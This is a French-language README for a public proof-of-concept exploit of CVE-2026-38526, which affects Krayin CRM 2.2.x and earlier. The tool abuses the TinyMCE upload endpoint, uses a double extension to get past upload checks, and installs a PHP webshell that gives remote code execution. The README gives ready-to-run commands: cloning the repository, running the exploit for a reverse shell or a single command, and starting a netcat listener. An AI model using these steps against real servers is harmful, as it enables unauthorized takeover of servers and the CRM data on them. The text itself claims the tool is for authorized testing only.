CVE-2026-38526 - Exploit RCE pour Krayin CRM

Krayin CRM (≤ 2.2.x) - Téléversement de fichiers sans restriction conduisant à une exécution de code à distance.

Ce PoC exploite le point de terminaison de téléversement TinyMCE vulnérable (/admin/tinymce/upload) pour téléverser un webshell PHP et exécuter des commandes sur le serveur.

Fonctionnalités

• Connexion entièrement automatique avec gestion du jeton CSRF
• Contourne les restrictions de téléversement en utilisant une double extension
• Prend en charge le shell inversé et l'exécution d'une commande unique
• Actualisation fiable du jeton CSRF Laravel
• Propre et facile à utiliser

Téléchargement

git clone https://github.com/pawpic/CVE-2026-38526-POC

Prérequis

pip3 install requests beautifulsoup4

Utilisation

1. Shell inversé (par défaut et recommandé)

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. Commande unique

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

Options

Exemple de workflow

Démarrer le listener :

nc -lvnp 4444

Exécuter l'exploit :

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

Avertissement

Cet exploit est destiné uniquement à des fins éducatives et aux tests d'intrusion autorisés. Toute utilisation non autorisée contre des systèmes que vous n'avez pas l'autorisation explicite de tester est illégale.

Versions concernées

Krayin CRM ≤ 2.2.x CVE : CVE-2026-38526

Auteur : pawpic Date : 2026